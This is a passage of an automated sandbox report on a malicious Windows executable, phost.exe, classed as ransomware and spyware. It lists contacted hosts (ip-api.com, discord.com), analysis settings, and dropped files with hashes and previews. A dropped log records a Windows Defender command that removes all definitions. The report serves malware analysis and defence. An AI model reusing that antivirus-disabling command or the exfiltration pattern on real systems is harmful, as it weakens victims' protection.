https://github.com/urlli	phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704494690.000001AE1D381000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2920	phost.exe, 00000001.00000003.1842261128.000001AE1D6F6000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D6F6000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D6F0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1856459466.000001AE1D6F0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2179183258.000001AE1DBB8000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1851038862.000001AE1D6F5000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	phost.exe, 00000001.00000003.2171558185.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2167660271.000001AE1E6C3000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D6F1000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2166653178.000001AE1D872000.00000004.00000020.00020000.00000000.sdmp	false
http://www.microsoftMESSAG~1.JSOy./	phost.exe, 00000001.00000003.1849010645.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	phost.exe, 00000001.00000002.2176893974.000001AE1CFA0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684912540.000001AE1CFA2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	false
https://yahoo.com/	phost.exe, 00000001.00000003.1837339893.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1853895159.000001AE1D368000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1815420180.000001AE1D359000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864387686.000001AE1D361000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848923148.000001AE1D368000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2175758589.000001AE1D383000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D35D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177552719.000001AE1D385000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1871682113.000001AE1D361000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1857854012.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D604000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp	false
https://account.bellmedia.c	phost.exe, 00000001.00000003.1866119745.000001AE1E6F6000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2179807278.000001AE1E6EA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2180428095.000001AE1E964000.00000004.00001000.00020000.00000000.sdmp	false
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	phost.exe, 00000001.00000002.2177248707.000001AE1D1A0000.00000004.00000020.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000014.00000003.1751303220.000001E22D972000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574326
Start date and time:	2024-12-13 08:40:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	125
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	phost.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@199/60@4/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 86% Number of executed functions: 120 Number of non-executed functions: 181
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 23.218.208.109, 20.12.23.50, 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, gstatic.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 3848 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2912 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7400 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: phost.exe

Simulations

Behavior and APIs

Time	Type	Description
02:41:45	API Interceptor	8x Sleep call for process: WMIC.exe modified
02:41:46	API Interceptor	127x Sleep call for process: powershell.exe modified
02:41:48	API Interceptor	2x Sleep call for process: svchost.exe modified

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073759923211927
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrH:KooCEYhgYEL0In
MD5:	61D71392A301B081EFE4418B4E340E39
SHA1:	376F1AF4DD3AE97A94EEA6E41E5CA4270643D9EC
SHA-256:	744B8870071E506EDEE7AD52F48B47A4BC7A0A8EC426F190C651FDDB00D41CD0
SHA-512:	0D15622BE7D8DCB736BA0D182277E47C7AE9F0E5F294C05B313B80232C23613C02471A3E45895480DE008482A0E6E46F2F92FD9BE9F181932C5F48BEF8BB4058
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa482f3c7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221475214700262
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	C413DFE1813856686583B3554ED45E76
SHA1:	49ABE0C3E213C0B91634E0D24B09DEEC26EC01C8
SHA-256:	589E331447AE1B032C955FC5700A7FADE56EABE4CFBBD220D567F20FE90F05AD
SHA-512:	BB9A7D14FF659A0F7A89C5C7D2802FF9498E3BB5E769A4F883AB175EDAEB0822E57BC8CE1F653E2D41C1DFE76500EC97C679E34F912580E2C2B2E2BC691B383B
Malicious:	false
Reputation:	unknown
Preview:	....... .......A.......X\...;...{......................0.!..........{A.1)...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................3U.)1)...\|...................8G.1)...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07706861796382056
Encrypted:	false
SSDEEP:	3:JZS6Yejwuauajn13a/w4VY//AllcVO/lnlZMxZNQl:Xdzjfa53qwV/AOewk
MD5:	C4C7AFF2D6AAD5478F260F8E0B4F955F
SHA1:	D2AA7BFA0791B36ECE4FEBDF2F9A2C77012C3073
SHA-256:	F12358942163F352E0C07F22ADB868FB2FF1121AC06DB6F3D97896834343A410
SHA-512:	6372CF06EB66ECB1E4E439373B2904D63211F5D302D60474E7CFDE1D444A61F28F6F471EA78ADD4568771F1DEBA0DD2EC2A9E1EC5A62B3467617F51366777750
Malicious:	false
Reputation:	unknown
Preview:	.{.......................................;...{..1)...\|.......{A..............{A......{A..........{A].................8G.1)...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\ ? ? \Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706250
Entropy (8bit):	7.928179193196619
Encrypted:	false
SSDEEP:	12288:9CJt7G19YHjWTnRyMqTVGInIQghHK5gYrNvOLOkT+TvDhdkBeKc89B:9C49RTnMlR/IQqYgYrNvO6eq9daeKc8/
MD5:	EADFB28E5835FF3D32EB5824EC32A474
SHA1:	1FF3F10F785B72AFA1993BD24338DD81CB79D83B
SHA-256:	D0E034501D05159C8B53F22FCBB21DA6947A0B75153C8197840389DEE3163355
SHA-512:	D9A777B1E6A55FA7323E9B655AB4501EB59BC38D0BEA5EB4D508FAA58578CA09F5D068C34FBC29BC102F9D33FA12AF24072B1D938D0D99592E656A53DC853109
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...]...^.v..{NW...)..3.].=..9m.v.m.EH..lc...x7.}........`..$.b....-..I...........R.89.w"./..\|.......Z.7BoY..M.s3c+......m..?2...0....9.s....~....#}..x_.d$....5@....v...}.z......v.k..T..)...'..N..X..}'.e-....mA..C.~....WP?vI..^S;fqG..=t.G-...&.#_..}?[8...rO..........aS.....?~1...A....%}?.q}........{......g.D...%.......<.....<U..>......7...\|........x_.....-...O.W.H..T..... 6.O&......P?.....~C......T....A.yK}..v.Ca....c.?2....N.}....}..(.L..'..G}..C.....q\?..c\k..\|.~.c...../.J.k...<..o.yUl.......{.{.....}1.......)6n....}b..1..{...y..v_..17.v........-.4....{^..s..v,..G;....zo.c.....6;.6...G.C...>7..#.[...8...D}.{.....{.}c....=..-....=...%...$.v.;.w...1..#^+....Lycw....[.n..%.......?..].I....9.c.s.......v....\|D....H..pg....lB..w'.<b}..}...O.3.mwG..!.o.X}......c....>h/...>........x.v1o..C..x..'.<A.y`n...3.1.O......m)....).\].k1..i..q,..kN.

C:\Users\user\AppData\Local\Temp\C7XW6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	757646
Entropy (8bit):	7.999736789323823
Encrypted:	true
SSDEEP:	12288:uElNmrIp2smq2mOd7ys9D2qUDqlU54hFjCDuksUTVv+MjNkMdO/rcmBiH0OFS:uw0Y2sv2my7ygD2qUDr5SFjChddYjcJ0
MD5:	1E909F7CC298F3086E9AA5BE0D09768F
SHA1:	931A5056D9D36FA581F04EC5FE2FD654D7BEAD44
SHA-256:	042655B7F2743818ADFAC34EFD97D5E6045FB218BAED192F587B3A449D315223
SHA-512:	834272434703C41924747341D1DE5EEEA6EE9B23438F34C0EB3E9F43E55FE63D8B1308DE83B197E49969AB7A41A35D08B57C6152B2717A6BC95AA1FAFFA66657
Malicious:	true
Reputation:	unknown
Preview:	Rar!......g!.....gw..V.Q&.y!ux.6.....h0...n.V`......U.JrE....D$.<Km.\jn..6y.K.....r"k.K.....y@....D..e..DPz._.....W.}z...fy.i.g.I3...C.v.h.^..!..x..Qrg...d..."..}./.v....^..h(.&.......w..R..nu{.^...U!..NA.....T6.PN.3/mE..+.C....h...S8..'..E..B..^mx.Ci!............41...3h..%PN...o.N.i...];....nu..~S..ZHl.0.Ov.T\..........r..l....._.2.DMG}...2.o]....J`$....P.-~..o..=8.4.v..P....I....s...TC=7...M....P#N^.....\DPj._..[.y..<..._Cx.W.....=6.n.,.[..q........-...G...,.........B....m.D.mC...T.5.r.......)..-.SI.F.e..{.u=.MsJ...fZ.=...k...g.L&.!..<..wl..=fR9.....DG........j.v..?.p........"......h...'.z.f2..X..^l.....`~......x,...%7......uM..\|.{:.....a{..>..X.#^245Q4z.SJ....w...X....IV.X#..0..h.B.y.[.d...<.Wlu.....y4..e8.R]..zX.C.j.v......:.....O..\I...:6).....^E.."R..d.@.\....A#.,.....=.:.@.............upVX.xX...[..K..t.5?.R......w.ah\|....{..C/.1.C..U:...E.L.{.\|/#O!..."fd...A..9W9s..z.....m@Q..?..RF+H.Kd.o}.M.H.d..c]/~...~Qb......7.,.xG.....].P.....!....T

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1142270972323556
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrN78sk9+MlWlLehW51IC0781:QOaqdmOFdjrmv+kWResLIe1
MD5:	4EF56D046A1B4B24A11061DC33DACB35
SHA1:	240AAE0289B81B02CFD1F1603DC51BB22618C087
SHA-256:	69F26C82BFAEFDE7210F5D436C7D982C1C48B1F1A8F737A1A63477E18D56DA79
SHA-512:	629894D9DAF141AA81C0122EEA4924B87F198565711FB4A5AF577E460959F30A84995F8BE9D9F2580C4F18A5ADB812D92C37D11F343ED1716F3AE4AACC6C9AAF
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. D.e.c. .. 1.3. .. 2.0.2.4. .0.2.:.4.1.:.5.8.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. F.r.i. .. D.e.c. .. 1.3. .. 2.0.2.4. .0.2.:.4.1.:.5.8.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RESBE0B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Fri Dec 13 08:56:10 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.122600787215519
Encrypted:	false
SSDEEP:	24:HoFq9UZf1orDfHKwK9Gof3NWI+ycuZhNpYakSGNPNnqS+d:IvB1YBKD341ulia32qSe
MD5:	7EC0018A1BF0364548FE7A8CA45DA3C2
SHA1:	D11CD7EDEFC0E8B1474A68827407651AE1D738CA
SHA-256:	F59B2ED50C0C5BA912B8A38F6D59B691261496D0F4ACA04F468CD0D9E53BDCCC
SHA-512:	E947F826946D7A6E8D1F8AD9AC9704E6015F127CB1F34C45A17E3635905FB24E591D79F805749A0B3DD094AA85F9FC7512DF5833574C9D34B6DC5DBE64504809
Malicious:	false
Reputation:	unknown
Preview:	L.....[g.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........S....c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP................9.i....'.=._[}...........4.......C:\Users\user\AppData\Local\Temp\RESBE0B.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...j.n.x.i.p.h.g.t...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI32202\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.641929675972235
Encrypted:	false
SSDEEP:	1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
MD5:	4585A96CC4EEF6AAFD5E27EA09147DC6
SHA1:	489CFFF1B19ABBEC98FDA26AC8958005E88DD0CB
SHA-256:	A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736
SHA-512:	D78260C66331FE3029D2CC1B41A5D002EC651F2E3BBF55076D65839B5E3C6297955AFD4D9AB8951FBDC9F929DBC65EB18B14B59BCE1F2994318564EB4920F286
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d..._#;..........." ...".....`......................................................=.....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI32202\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49944
Entropy (8bit):	7.78315600372484
Encrypted:	false
SSDEEP:	1536:U/onT0xi3xXtfwYf5CVW3Bd7IGCVwU7SyixL7:U/k538e5CIRlIGCVwUO7
MD5:	85C70974FAC8E621ED6E3E9A993FBD6F
SHA1:	F83974E64AA57D7D027B815E95EBD7C8E45530F1
SHA-256:	610983BBCB8EE27963C17EAD15E69AD76EC78FAC64DEB7345CA90D004034CDD6
SHA-512:	142792750E4A5189DBEAA710E3F5B3689D593927EA77DED00EB5CAADA6B88D82A37459770845F1EA7C9F45DA5A6AE70E19BFCF76D9F1A56184C3164B736BCB18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w.l.3...3...3...:...9......1......0......>......;......7.......0...x...1...3...l.......;.......2.......2.......2...Rich3...................PE..d...f..e.........." ...#.............e....................................................`.............................................H.................... ..,...................................................q..@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60696
Entropy (8bit):	7.822236524949101
Encrypted:	false
SSDEEP:	1536:WbK/YBHE2gCtX+/9zyeoVIkwLMzKep8z+IGLPAt7SyWxU:WGAK2ghtGIk6MeeGyIGLPAtz
MD5:	E7EF30080C1785BAF2F9BB8CF5AFE1B2
SHA1:	B7D7D0E3B15DE9B1E177B57FD476CECBDD4FCB79
SHA-256:	2891382070373D5070CB8FD6676AFC9F5EB4236251F8FC5C0941AF0C53A2D31E
SHA-512:	C2EC431D2821879BB505D8ECA13FA3921DB016E00B8674FA62B03F27DC5CEE6DD0DE16BA567D19D4B0AF9A5CB34D544383A68CC63FF2FA9D8BB55E356D0D73E6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>...z.z.z.s...\|....x....v....r....~.....x.1...{.1...\|.....y.z.......\|.....{...o.{.....{.Richz.................PE..d...c..e.........." ...#.............-.......................................P............`.........................................HL.......I.......@.......................L.......................................9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	108312
Entropy (8bit):	7.9301662560961494
Encrypted:	false
SSDEEP:	3072:HnHQe/FKYjTnmuJkv4D5ZIBGeKHC6ajQ6BWIGOqmbtbb9:HnHQe/MYjTnDJRX6Ge16ehbhx
MD5:	3923E27B9378DA500039E996222FFEE6
SHA1:	A9280559A71ABF390348E1B6A0FB1F2409649189
SHA-256:	0275B03041F966E587D1C4C50266C3FDFF1E1A65F652AD07B59CB85845B5457E
SHA-512:	051C613403FD80B9582DD48C1F38870CB26846D54B75603EA52A78202A72272107E95750DE78CD8F6C56951EBDE501B4892D90FB306326B86124C8CC97BCA594
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.R.!...!...!...Y=..!..+]...!..+]...!..+]...!..+]...!..M\...!...Y...!...!...!..M\...!..M\...!..M\...!..M\Q..!..M\...!..Rich.!..........PE..d...T..e.........." ...#.p...................................................0............`..........................................,..P....)....... ...........'...........-..........................................@...........................................UPX0....................................UPX1.....p.......f..................@....rsrc........ .......j..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36120
Entropy (8bit):	7.670480771561197
Encrypted:	false
SSDEEP:	768:6EKW7574DsajR20fnfPHz8HLP8pfbnIGOINg5YiSyvIAMxkE3n1:jKW7hq00fnTQEbnIGOINy7Sy+xzn1
MD5:	C8B153F0BE8569CE2C2DE3D55952D9C7
SHA1:	0861D6DCD9B28ABB8B69048CAF3C073E94F87FDC
SHA-256:	AF9F39D2A5D762214F6DE2C8FEC0A5BC6BE0B8223EF47164CAA4C6E3D6437A58
SHA-512:	81CCBFFF0F4CDD1502AF9D73928B940098B9ACC58B19C1A939ECDF17418096294AF4A4529EE7A0BBE1C686E3B0254651E211C1093264D1835065A82711AC0379
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........u...&...&...&.U&...&u..'...&u..'...&u..'...&u..'...&...'...&...'...&...&M..&...'...&...'...&..9&...&...'...&Rich...&........PE..d......e.........." ...#.P.........../.......................................P............`.........................................\|K..P....I.......@.......................K.......................................;..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........@.......R..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	87832
Entropy (8bit):	7.917277859124498
Encrypted:	false
SSDEEP:	1536:cjQY6vZR307kwHMn3NsbM5PlvQzSqoSdPN1uruZkU2D90nGt4pcgIGZ1rA7SyTx7:EQY6nEZe3NsbI1QzSwlaugudNIGZ1rAP
MD5:	BC2EBD2A95619AB14A16944B0AB8BDE5
SHA1:	C31BA45B911A2664FC622BB253374AB7512FC35A
SHA-256:	AEB3FD8B855B35204B5088C7A1591CC1CA78FFFE707D70E41D99564B6CB617C6
SHA-512:	86A6685EFEC72860991C0F0FA50F46A208211D3F8FC44012B12437D141C5F1A24C34A366F164D225869680707B482AB27A2720C698EBE8026F1C5807E81F8437
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........TB#.5,p.5,p.5,p.M.p.5,p.I-q.5,p.I)q.5,p.I(q.5,p.I/q.5,pnH-q.5,p.M-q.5,p.5-p.5,pnH!q.5,pnH,q.5,pnH.p.5,pnH.q.5,pRich.5,p........PE..d......e.........." ...#. ...............................................................`.........................................4...L....................P.........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI32202\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\phost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26904
Entropy (8bit):	7.418027428269828
Encrypted:	false
SSDEEP:	768:Xzh/iDHAPcpqyIGQUNz5YiSyvHAMxkEJ5YSv:jhiDHAP5yIGQUN97SyPx/Y+
MD5:	FCBB24550F59068A37EA09A490923C8A
SHA1:	1E51D9C156354E00909C9F016DDB392A832F8078
